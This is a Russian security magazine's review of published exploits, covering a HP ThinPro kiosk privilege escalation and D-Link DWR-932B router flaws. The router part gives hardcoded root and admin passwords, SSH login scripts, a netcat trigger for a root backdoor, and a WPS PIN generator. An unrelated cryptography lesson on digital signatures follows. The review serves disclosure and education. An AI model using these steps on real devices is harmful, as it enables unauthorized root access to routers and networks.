Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
15.99 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

 

 

df-x

han

 

 

 

w Click

to

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

Борис Рютин,

 

Digital Security

 

b.ryutin@dsec.ru

WARNING

@dukebarman

dukebarman.pro

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

ОБЗОР

ЭКСПЛОИТОВ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

АНАЛИЗ НОВЫХ УЯЗВИМОСТЕЙ

Сегодня мы разберем очередную уязвимость в роутере D-Link. На этот раз дыру нашли в прошивке модели DWR-932B, и о патче для нее на момент написания статьи ничего не известно. Также рассмотрим небольшую (по сложности, а не по разрушительной силе) уязвимость в тонких клиентах на HP ThinPro OS.

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ В HP THINPRO OS

CVSSv2: Нет

Дата релиза: 3 октября 2016 года Авторы: @malerisch и @vhutsebaut CVE: CVE-2016-2246

В HP ThinPro OS sudo сконфигурирован таким образом, что позволяет неавторизованному пользователю с помощью утилиты Keyboard Layout провести атаку типа «повышение привилегий» и получить доступ с правами администратора.

Keyboard Layout (находится в /usr/bin/hptc-keyboard-layout) запускается как привилегированный процесс и при этом доступен любому пользователю из интерфейса HP ThinPro Kiosk. Такой пользователь может исследовать систему и восстановить оригинальный файл /etc/shadow, который позволит установить новый пароль администратора в системе.

EXPLOIT

Для успешной эксплуатации у атакующего должен быть физический доступ к HP Thin OS Pro в режиме Kiosk. При этом предполагается, что у него нет аккаунта, и он не знает пароль администратора, но админский пароль при этом задан в системе..

Для воспроизведения уязвимости открой панель управления приложениями и выбери пункт Keyboard Layout (расположение кнопки и вид интерфейса могут различаться в разных версиях системы, но эта утилита доступна любым пользователям в режиме Kiosk).

Примеринтерфейсапанелиуправленияи расположенияKeyboardLayout

Далее нужно кликнуть на иконку Print File, чтобы вызвать диалоговое окно.

Расположение иконки Print File

Теперь нам нужно открыть диалоговое окно (значок с тремя точками) для выбора расположения файла output ile. Так как это приложение работает с правами администратора, то мы можем путешествовать по системе через запущенное диалоговое окно без каких-либо проблем.

Чтобы получить нормальный доступ администратора, перейдем в директорию /etc/ и переименуем файлы:

/etc/shadow в /etc/shadow-last-modiied-by-admin;

/etc/shadow- в /etc/shadow.

Затем переключим пользователя на администратора, и у нас появится окно установки нового пароля. Выбирай, какой тебе милее, и доступ к режиму администратора Kiosk получен!

Меню переключения между пользователями

Интерфейс изменится, но, помимо этого, ты можешь запустить терминал для проверки доступных команд.

Запущенный xterminal с правами администратора

Авторы эксплоита записали видео с демонстрацией уязвимости.

TARGETS

HP ThinPro OS (HP ThinPro 4.4, HP ThinPro 5.0, HP ThinPro 5.1, HP ThinPro 5.2, HP ThinPro 5.2.1, HP ThinPro 6.0, HP ThinPro 6.1).

SOLUTION

Производитель выпустил исправление.

МНОГОЧИСЛЕННЫЕ УЯЗВИМОСТИ В D-LINK DWR-932B

CVSSv2:

Нет

Дата релиза:

28 сентября 2016 года

Автор:

@PierreKimSec (https://twitter.com/pierrekimsec)

CVE:

нет

РоутерD-LinkDWR-932

D-Link DWR-932B — это LTE-роутер, который продается по всему миру и отличается изрядным количеством уязвимостей. Он основан на известной модели роутеров компании Quanta, что позволило ему унаследовать некоторые дыры от старшего собрата. Небольшой обзор уязвимостей в этом устройстве уже публиковался ранее, но исправляют их не так быстро.

Все исследования проводились на прошивке DWR-932_fw_revB_2_02_eu_ en_20150709.zip. Были найдены уязвимости следующих типов:

бэкдор-аккаунты;

бэкдор;

WPS PIN по умолчанию;

слабая генерация WPS PIN;

утечка аккаунта No-IP;

многочисленные уязвимости в демоне HTTP (qmiweb);

удаленная загрузка прошивки (FOTA, Firmware Over The Air);

плохое решение по обеспечению безопасности;

удалена безопасность в UPnP.

Автор исследования пишет, что в лучшем случае такое количество уязвимостей обусловлено просто некомпетентностью, в худшем — это закладки, сделанные умышленно. Мы рассмотрим лишь самые интересные из них.

EXPLOIT БЭКДОР-АККАУНТЫ

По умолчанию на роутере запущены telnetd и SSHd. При этом telnetd работает, даже если об этом нет никакой информации.

user@kali:~$ cat ./etc/init.d/start_appmgr

...

#Sandro { for telnetd debug...

start-stop-daemon -S -b -a /bin/logmaster

#if [ -e /conig2/telnetd ]; then

start-stop-daemon -S -b -a /sbin/telnetd

#i

#Sandro }

...

На устройстве есть два бэкдор-аккаунта, через которые можно обойти HTTP-ау- тентификацию, используемую для управления устройством.

admin@homerouter:~$ grep admin /etc/passwd

admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh

admin@homerouter:~$

Пароль для аккаунта admin — это, как ни смешно, admin. Информацию об этом можно найти в файле /bin/appmgr, используя средства для реверсинга (автор эксплоита использовал IDA).

Функция установки пароля admin дляпользователя admin

Обнаружился и пользователь root:

user@kali:~$ cat ./etc/shadow

root:aRDiHrJ0OkehM:16270:0:99999:7:::

daemon:*:16270:0:99999:7:::

bin:*:16270:0:99999:7:::

sys:*:16270:0:99999:7:::

sync:*:16270:0:99999:7:::

games:*:16270:0:99999:7:::

man:*:16270:0:99999:7:::

lp:*:16270:0:99999:7:::

mail:*:16270:0:99999:7:::

news:*:16270:0:99999:7:::

uucp:*:16270:0:99999:7:::

proxy:*:16270:0:99999:7:::

www-data:*:16270:0:99999:7:::

backup:*:16270:0:99999:7:::

list:*:16270:0:99999:7:::

irc:*:16270:0:99999:7:::

gnats:*:16270:0:99999:7:::

diag:*:16270:0:99999:7:::

nobody:*:16270:0:99999:7:::

messagebus:!:16270:0:99999:7:::

avahi:!:16270:0:99999:7:::

user@kali:~$

Загружаем хеш в старый добрый John the Ripper:

user@kali:~$ john -show shadow+passwd

admin:admin:admin:/:/bin/sh

root:1234:16270:0:99999:7:::

2 password hashes cracked, 0 left

user@kali:~$

В результате получаем пары логин-пароль: admin:admin и root:1234. Весело смеемся.

Автор написал небольшой скрипт для автоматизации авторизации со стандартным паролем на устройстве.

user@kali:~$ cat quanta-ssh-default-password-admin

#!/usr/bin/expect -f

set timeout 3

spawn ssh admin@192.168.1.1

expect "password: $"

send "admin\r"

interact

user@kali:~$ ./quanta-ssh-default-password-admin

spawn ssh admin@192.168.1.1

admin@192.168.1.1's password:

admin@homerouter:~$ id

uid=168(admin) gid=168(admin) groups=168(admin)

admin@homerouter:~$

Для root будет аналогично:

user@kali:~$ cat quanta-ssh-default-password-root

...

spawn ssh root@192.168.1.1

expect "password: $"

send "1234\r"

...

root@homerouter:~# id

uid=168(root) gid=168(root) groups=168(root)

root@homerouter:~#

БЭКДОР

Бэкдор содержится в приложении /bin/appmgr. Если устройству отправить специальную строку по протоколу UDP, то запустится сервер Telnet (без аутентификации!), если он еще не был запущен.

В/bin/appmgr запускается поток, который слушает 0.0.0.0:39889 (UDP)

иждет команды. Если клиент отправит HELODBG, то роутер выполнит команду /sbin/telnetd -l /bin/sh и выдаст доступ на устройстве с правами root

без авторизации.

Бэкдор находится в главной функции (строка 369). Ты можешь посмотреть на него сам, открыв этот файл в IDA.

Бэкдор в/bin/appmgr

Пример использования:

user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889

Hello

^C

user@kali:~$ telnet 192.168.1.1

Trying 192.168.1.1...

Connected to 192.168.1.1.

Escape character is '^]'.

OpenEmbedded Linux homerouter.cpe

msm 20141210 homerouter.cpe

/ # id

uid=0(root) gid=0(root)

/ # exit

Connection closed by foreign host.

WPS PIN ПО УМОЛЧАНИЮ

Wi-Fi Protected Setup (WPS) — это стандарт для легкого и «безопасного» создания домашней беспроводной сети. Процесс описан в документации к роутеру (help.html).

По умолчанию PIN для WPS всегда 28296607. Он действительно зашит в программу /bin/appmgr.

Вшитый PIN на устройстве

PIN также можно найти в настройках HostAP либо используя утечку информации в HTTP API:

root@homerouter:~# ps -a|grep hostap

1006

root

0:00

hostapd /var/wii/ar6k0.conf

1219

root

0:00

grep hostap

root@homerouter:~# cat /var/wii/ar6k0.conf

...

ap_pin=28296607

...

СЛАБАЯ ГЕНЕРАЦИЯ WPS PIN

Пользователь может зайти через веб-интерфейс и сгенерировать временный PIN для WPS. Этот PIN слаб, а для генерации используется странный алгоритм. Ниже представлен пример программы для его получения (автор восстановил алгоритм посредством реверсинга).

user@kali:~$ cat quanta-wps-gen.c

#include <stdio.h>

#include <stdlib.h>

#include <time.h>

int main(int argc,

char **argv,

char **envp)

{

unsigned int i0, i1;

int

i2;

/* Используется текущее время устройства, которое,

 

 

в свою очередь, использует NTP... */

srand(time(0));

i0

= rand() % 10000000;

if (i0 <= 999999)

 

i0

+= 1000000;

i1

=

10 * i0;

i2

=

(10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10

+ 3 * (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10

+ i1 / 1000 % 10 + i1 / 10 % 10))

% 10) % 10 + 10 * i0;

printf("%d\n", i2 );

return (0);

}

user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c

user@kali:~$ ./dlink-wps-gen

97329329

user@kali:~$

Использование srand(time(0)) в качестве сида (seed) — это само по себе плохая идея, потому что атакующий, зная текущую дату (time(0)!), сможет сгенерировать правильный WPS PIN. Так как роутер использует NTP, значит, время настроено правильно. Атакующий без проблем сгенерирует и подберет правильный WPS PIN. Дизассемблерный код оригинального алгоритма из прошивки:

.text:0001B4D4

EXPORT generate_wlan_wps_enrollee_pin

.text:0001B4D4 generate_wlan_wps_enrollee_pin ;

CODE XREF: wii_msg_handle+194p

.text:0001B4D4

 

 

.text:0001B4D4 var_3C = -0x3C

 

.text:0001B4D4 var_38 = -0x38

 

.text:0001B4D4 s

= -0x34

 

.text:0001B4D4 var_30 = -0x30

 

.text:0001B4D4 var_2C = -0x2C

 

.text:0001B4D4

 

 

.text:0001B4D4

STMFD

SP!, {R4-R11,LR}

.text:0001B4D8

SUB

SP, SP, #0x1C

.text:0001B4DC

STR

R0, [SP,#0x40+s]

.text:0001B4E0

MOV

R0, #0 ; timer

.text:0001B4E4

BL

time

.text:0001B4E8

BL

srand

.text:0001B4EC

BL

rand

.text:0001B4F0

LDR

R4, =0x6B5FCA6B

.text:0001B4F4

MOV

R6, R0,ASR#31

.text:0001B4F8

SMULL

R1, R4, R0, R4

.text:0001B4FC

RSB

R10, R6, R4,ASR#22

.text:0001B500

RSB

R12, R10, R10,LSL#5

.text:0001B504

RSB

R2, R12, R12,LSL#6

.text:0001B508

ADD

R11, R10, R2,LSL#3

.text:0001B50C

LDR

R8, =0xF423F

.text:0001B510

ADD

R9, R11, R11,LSL#2

.text:0001B514

SUB

R1, R0, R9,LSL#7

.text:0001B518

CMP

R1, R8

.text:0001B51C

ADDLS

R1, R1, #0xF4000

.text:0001B520

ADDLS

R1, R1, #0x240

.text:0001B524

ADD

R3, R1, R1,LSL#2

.text:0001B528

MOV

R3, R3,LSL#1

.text:0001B52C

LDR

R1, =0xCCCCCCCD

.text:0001B530

LDR

R5, =0xA7C5AC5

.text:0001B534

LDR

R6, =0x6B5FCA6B

.text:0001B538

MOV

R7, R3,LSR#5

.text:0001B53C

UMULL

R4, R7, R5, R7

.text:0001B540

UMULL

R9, LR, R1, R3

.text:0001B544

UMULL

R5, R6, R3, R6

.text:0001B548

LDR

R12, =0xD1B71759

.text:0001B54C

MOV

R6, R6,LSR#22

.text:0001B550

UMULL

R10, R12, R3, R12

.text:0001B554

MOV

LR, LR,LSR#3

.text:0001B558

UMULL

R10, R9, R1, R6

.text:0001B55C

UMULL

R8, R10, R1, LR

.text:0001B560

LDR

R0, =0x431BDE83

.text:0001B564

MOV

R12, R12,LSR#13

.text:0001B568

UMULL

R11, R0, R3, R0

.text:0001B56C

STR

R10, [SP,#0x40+var_38]

.text:0001B570

UMULL

R8, R10, R1, R12

.text:0001B574

LDR

R2, =0x51EB851F

.text:0001B578

LDR

R4, =0x10624DD3

.text:0001B57C

UMULL

R5, R2, R3, R2

.text:0001B580

MOV

R0, R0,LSR#18

.text:0001B584

STR

R10, [SP,#0x40+var_3C]

.text:0001B588

UMULL

R8, R4, R3, R4

.text:0001B58C

UMULL

R8, R10, R1, R0

.text:0001B590

MOV

R2, R2,LSR#5

.text:0001B594

MOV

R7, R7,LSR#7

.text:0001B598

UMULL

R8, R11, R1, R7

.text:0001B59C

STR

R10, [SP,#0x40+var_30]

.text:0001B5A0

MOV

R4, R4,LSR#6

.text:0001B5A4

UMULL

R8, R10, R1, R2

.text:0001B5A8

UMULL

R8, R5, R1, R4

.text:0001B5AC

STR

R10, [SP,#0x40+var_2C]

.text:0001B5B0

MOV

R8, R9,LSR#3

.text:0001B5B4

MOV

R10, R11,LSR#3

.text:0001B5B8

ADD

R11, R10, R10,LSL#2

.text:0001B5BC

ADD

R9, R8, R8,LSL#2

.text:0001B5C0

MOV

R10, R5,LSR#3

.text:0001B5C4

LDR

R8, [SP,#0x40+var_38]

.text:0001B5C8

SUB

R6, R6, R9,LSL#1

.text:0001B5CC

SUB

R7, R7, R11,LSL#1

.text:0001B5D0

LDR

R9, [SP,#0x40+var_3C]

.text:0001B5D4

LDR

R11, [SP,#0x40+var_30]

.text:0001B5D8

ADD

R5, R10, R10,LSL#2

.text:0001B5DC

SUB

R5, R4, R5,LSL#1

.text:0001B5E0

LDR

R4, [SP,#0x40+var_2C]

.text:0001B5E4

MOV

R10, R8,LSR#3

.text:0001B5E8

MOV

R8, R9,LSR#3

.text:0001B5EC

MOV

R9, R11,LSR#3

.text:0001B5F0

ADD

R7, R7, R6

.text:0001B5F4

ADD

R10, R10, R10,LSL#2

.text:0001B5F8

ADD

R9, R9, R9,LSL#2

.text:0001B5FC

MOV

R11, R4,LSR#3

.text:0001B600

ADD

R8, R8, R8,LSL#2

.text:0001B604

ADD

R7, R7, R5

.text:0001B608

SUB

LR, LR, R10,LSL#1

.text:0001B60C

SUB

R5, R0, R9,LSL#1

.text:0001B610

SUB

R8, R12, R8,LSL#1

.text:0001B614

ADD

R11, R11, R11,LSL#2

.text:0001B618

ADD

R12, R7, LR

.text:0001B61C

SUB

R4, R2, R11,LSL#1

.text:0001B620

ADD

R8, R8, R5

.text:0001B624

ADD

R5, R8, R4

.text:0001B628

ADD

R0, R12, R12,LSL#1

.text:0001B62C

ADD

R4, R5, R0

.text:0001B630

UMULL

R5, R1, R4, R1

.text:0001B634

MOV

R2, R1,LSR#3

.text:0001B638

ADD

LR, R2, R2,LSL#2

.text:0001B63C

SUB

R8, R4, LR,LSL#1

.text:0001B640

LDR

R0, =0x66666667

.text:0001B644

RSB

R2, R8, #0xA

.text:0001B648

SMULL

R8, R0, R2, R0

.text:0001B64C

MOV

R12, R2,ASR#31

.text:0001B650

RSB

R1, R12, R0,ASR#2

.text:0001B654

ADD

LR, R1, R1,LSL#2

.text:0001B658

LDR

R12, =(aHostapd_conf_f - 0x1B670)

.text:0001B65C

SUB

R4, R2, LR,LSL#1

.text:0001B660

LDR

R2, =(aGet_wpspinI - 0x1B67C)

.text:0001B664

ADD

R4, R4, R3

.text:0001B668

ADD

R0, PC, R12 ; "hostapd_conf_ile_gen"

.text:0001B66C

ADD

R0, R0, #0x3C

.text:0001B670

MOV

R1, #0x3B

.text:0001B674

ADD

R2, PC, R2 ; "Get_WpsPin:%in"

.text:0001B678

MOV

R3, R4

.text:0001B67C

BL

wii_ilelog

.text:0001B680

LDR

R1, =(a08lu - 0x1B690)

.text:0001B684

LDR

R0, [SP,#0x40+s] ; s

.text:0001B688

ADD

R1, PC, R1 ; "%08lu"

.text:0001B68C

MOV

R2, R4

.text:0001B690

ADD

SP, SP, #0x1C

.text:0001B694

LDMFD

SP!, {R4-R11,LR}

.text:0001B698

B

sprintf

.text:0001B698 ; Конец функции generate_wlan_wps_enrollee_pin

Продолжение статьи

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

 

 

df-xchan

 

 

 

w Click

to

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

 

ОБЗОР

ЭКСПЛОИТОВ

АНАЛИЗ НОВЫХ УЯЗВИМОСТЕЙ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Начало статьи

УТЕЧКА АККАУНТА NO-IP

Файл /etc/inadyn-mt.conf (для клиентов dyndns) содержит имя пользователя и «зашитый» пароль:

--log_ile /usr/inadyn_srv.log

--forced_update_period 6000

--username alex_hung

--password 641021

--dyndns_system default@no-ip.com

--alias test.no-ip.com

МНОГОЧИСЛЕННЫЕ УЯЗВИМОСТИ В ДЕМОНЕ HTTP (QMIWEB)

Файл /bin/qmiweb содержит много уязвимостей, но они схожи с найденными в LTE-роутере Quanta, на котором базируется исследуемое устройство. Так что портировать старый код не составит труда.

УДАЛЕННАЯ ЗАГРУЗКА ПРОШИВКИ (FIRMWARE OVER THE AIR, FOTA)

Данные для доступа к серверу FOTA захардкожены в исполняемом файле /sbin/ fotad.

Доступ ксерверу FOTA из/sbin/fotad

Эти данные находятся в функции sub_CAAC, представлены как строки в Base64 и используются для получения прошивки.

Демон FOTA пытается получить прошивку по HTTPS, но на момент написания статьи SSL-сертификат для https://qdp:qdp@fotatest.qmitw.com/qdh/ ispname/2031/appliance.xml был недействителен уже полтора года.

Функция sub_CAAC

Получаем следующие комбинации имени пользователя и пароля: qdpc:qdpc, qdpe:qdpe, qdp:qdp.

ПЛОХОЕ РЕШЕНИЕ ПО ОБЕСПЕЧЕНИЮ БЕЗОПАСНОСТИ

В /etc/init.d/start_appmgr ты можешь увидеть странные shell-команды, выполняющиеся от рута:

if [ -f /sbin/netcfg ]; then

echo -n "chmod 777 netcfg"

chmod 777 /sbin/netcfg

i

if [ -f /bin/QNetCfg ]; then

echo -n "chmod 777 QNetCfg"

chmod 777 /bin/QNetCfg

i

Сложно сказать, зачем производителю нужны файлы с правами 777 в директориях /bin/ и /sbin/.

УДАЛЕНА БЕЗОПАСНОСТЬ В UPNP

UPnP позволяет динамически добавлять правила для файрвола. Из-за угроз безопасности в некоторых опасных местах создавались новые правила для недоверенных LAN-клиентов.

Ненадежность UPnP была модной десять лет назад (в 2006 году). Уровень безопасности UPnP-программ (miniupnp) в этом роутере снижен, что позволяет атакующему, находящемуся в той же локальной сети, добавить перенаправление порта из интернета на других клиентов, находящихся в этой же сети.

/var/miniupnpd.conf генерируется с помощью программы /bin/appmgr.

Код генерации файла /var/miniupnpd.conf

В данном случае получится следующий файл /var/miniupnpd.conf:

ext_ifname=rmnet0

listening_ip=bridge0

port=2869

enable_natpmp=yes

enable_upnp=yes

bitrate_up=14000000

bitrate_down=14000000

secure_mode=no # «Защищенный» режим: когда включен, клиент UPnP

позволяет добавлять правила только для своих IP

presentation_url=http://192.168.1.1

system_uptime=yes

notify_interval=30

upnp_forward_chain=MINIUPNPD

upnp_nat_chain=MINIUPNPD

В конфигурационном файле нет ограничений для правил доступа UPnP, вопреки распространенной практике. При использовании UPnP рекомендуется разрешить переадресацию для портов выше 1024. Нормальный файл с настройками:

#UPnP permission rules

#(allow|deny) (external port range) ip/mask (internal port range)

#A port range is <min port>-<max port> or <port> if there is only

#one port in the range.

#ip/mask format must be nn.nn.nn.nn/nn

#it is advised to only allow redirection of port above 1024

#and to inish the rule set with "deny 0-65535 0.0.0.0/0 0-65535" allow 1024-65535 192.168.0.0/24 1024-65535

deny 0-65535 0.0.0.0/0 0-65535

В настройках уязвимого роутера, где нет никаких правил доступа, атакующий может перенаправить все из WAN в LAN. К примеру, злоумышленник может добавить правило переадресации, чтобы разрешить трафик из интернета на локальные серверы Exchange, базы данных, почтовые, FTP- и HTTP-серверы и так далее. На самом деле отсутствие мер безопасности позволяет локальному пользователю пересылать все, что он хочет, из интернета в LAN.

Вопросы автору исследования ты можешь задать через контакты в его персональном блоге. Оригинальный advisory (txt) представлен там же. Если используешь D-Link DWR-932B, советую уделить внимание исправлению уязвимостей.

TARGETS

D-Link DWR-932B. Уязвимости протестированы на последней доступной прошивке на момент исследования (irmware DWR-932_fw_revB_2_02_eu_ en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/ QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/ tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux- gnueabi/arm-oe-linux-gnueabi-gcc).

SOLUTION

На момент написания оригинальной статьи об исправлении не было известно. В поддержке D-Link исследователю ответили, что клиенты должны сами связаться с локальными или региональными представителями D-Link. Но на момент написания нашего обзора новая версия прошивки (DWR-932_fw_revB_2_03_eu_ en_20161011.zip) появилась на официальном сайте.

Анастасия Береснева anastasiya3161@gmail.com

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

 

 

df-x

han

 

 

 

 

w Click

to

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПОГРУЖЕНИЕ

В КРИПТУ

ЧАСТЬ 5: ЭЛЕКТРОННАЯ ПОДПИСЬ

Электронная цифровая подпись сейчас на слуху — многие современные компании

потихоньку переходят на электронный документооборот. Да и в повседневной жизни ты наверняка сталкивался с этой штукой.

Если в двух словах, суть ЭЦП очень проста: есть удостоверяющий центр, есть генератор ключей, еще немного магии, и вуаля — все документы подписаны. Осталось разобраться, что же за магия позволяет цифровой подписи работать.

Roadmap

Это пятый урок из цикла «Погружение в крипту». Все уроки цикла в хронологическом порядке:

Урок 1. Исторические шифры: основы, исторические шифраторы, как работают (и анализируются) шифры сдвига, замены, Рихарда Зорге, шифр Вернама и шифровальные машины

Урок 2. Распределение ключей: что это такое, как выполняется распределение ключей и как выбрать криптостойкий ключ

Урок 3. Современные отечественные шифры: что такое сеть Фейстеля, какими бывают отечественные блочные шифры, используемые в современных протоколах, — ГОСТ 28147—89, «Кузнечик»

Урок 4. Современные зарубежные шифры: что такое, как работают и в чем разница между 3DES, AES, Blowfish, IDEA, Threefish от Брюса Шнайера

Урок 5. Электронная подпись: виды ЭП, как они работают и как их использовать (ты здесь)

Урок 6. Квантовая криптография: что это такое, где используется и как помогает в распределении секретных ключей, генерации случайных чисел и электронной подписи

КАК РАБОТАЕТ ЦИФРОВАЯ ПОДПИСЬ

Если вспомнить формальное определение, то ЭЦП — это реквизит электронного документа. Другими словами, последовательность битов, вычисленная уникально для каждого конкретного сообщения. Подпись может быть вычислена как с применением секретного ключа, так и без него. Без секретного ключа подпись представляет собой просто код, который может доказать, что документ не был изменен. С использованием секретного ключа подпись докажет целостность сообщения, позволит убедиться в его подлинности и аутентифицировать источник.

Если ты читал вторую часть нашего цикла, то помнишь, что существуют симметричный и асимметричный подходы к шифрованию. С электронной подписью дела обстоят очень похоже — есть подписи с симметричным механизмом, а есть с асимметричным.

Симметричный механизм подписи малоприменим на практике — никому не хочется генерировать ключи для каждой подписи заново. А как ты помнишь, именно в одинаковых ключах кроется фишка симметричной криптографии.

В лучших традициях асимметричной криптографии — имеем пару открытый и секретный ключ. Но не спеши пролистывать все это описание. Электронная подпись концептуально отличается от шифрования применением ключей, описанного ранее.

От документа или сообщения подсчитывается хеш-функция, которая сократит сообщение любого объема до определенного количества байтов.

Посредством криптографических преобразований вычисляется сама электронная подпись. В отличие от асимметричного шифрования, подпись основана на закрытом ключе, а вот проверить с помощью открытого ключа ее может любой его обладатель. Если помнишь, в шифровании все происходит наоборот: шифруют для нас на открытом ключе, а вот расшифровывать мы будем с помощью секретного ключа.

Электронная подпись предоставляется вместе с исходным документом на проверку. По полученной композиции можно доказать, что документ с момента вычисления подписи не был изменен.

Схемы электронной подписи так же многообразны, как и способы шифрования. Чтобы схема подписи была стойкой, нужно, чтобы она основывалась на трудновычислимой математической задаче. Есть два типа таких задач: факторизация больших чисел и дискретное логарифмирование.

ФАКТОРИЗАЦИЯ БОЛЬШИХ ЧИСЕЛ

Рассмотрим на практике электронную подпись на основе знаменитого алгоритма RSA. Шифрование RSA мы рассматривать не стали — это мейнстрим, и в той же «Википедии» есть его подробное описание.

1. Генерация ключей

Причина стойкости RSA кроется в сложности факторизации больших чисел. Другими словами, перебором очень трудно подобрать такие простые числа, которые в произведении дают модуль n. Ключи генерируются одинаково для подписи и для шифрования.

Когда ключи сгенерированы, можно приступить к вычислению электронной подписи.

2.Вычисление электронной подписи

3.Проверка электронной подписи

RSA, как известно, собирается уходить на пенсию, потому что вычислительные мощности растут не по дням, а по часам. Недалек тот день, когда 1024-битный ключ RSA можно будет подобрать за считаные минуты? Впрочем, о квантовых компьютерах мы поговорим в следующий раз.

В общем, не стоит полагаться на стойкость этой схемы подписи RSA, особенно с такими «криптостойкими» ключами, как в нашем примере.

ДИСКРЕТНОЕ ЛОГАРИФМИРОВАНИЕ

Это вторая сложная проблема, на которой основаны цифровые подписи. Для начала хорошо бы усвоить, что такое дискретный логарифм. Для кого-то такое словосочетание может звучать пугающе, но на самом деле это одна из самых простых для понимания вещей в этой статье.

Предположим, дано уравнение 4x = 13 (mod 15). Задача нахождения x и есть задача дискретного логарифмирования. Почему же она так сложна для вычисления? Попробуй решить это уравнение перебором! Компьютер, ясное дело, будет более успешен, но и задачи дискретного логарифмирования обычно далеко не так просты. Возьмем для примера схему Эль-Гамаля.

1. Генерация подписи

2. Проверка подписи

Даже если не вникать в схему, понятно, что такой алгоритм сложнее. Кроме того, нигде уже не используется простой модуль, его сменили эллиптические кривые. Эллиптическая кривая — это кривая, которая задана кубическим уравнением и имеет невообразимо сложное представление. Задача решения логарифма в группе точек, которые принадлежат эллиптической кривой, вычислительно сложная, и на данный момент не существует таких мощностей, которые решали бы это уравнение за полиномиальное время, если длина секретного ключа составляет 512 бит. Согласно задаче дискретного логарифмирования, невероятно сложно найти на кривой две такие точки, которые связывает операция возведения в некоторую степень.

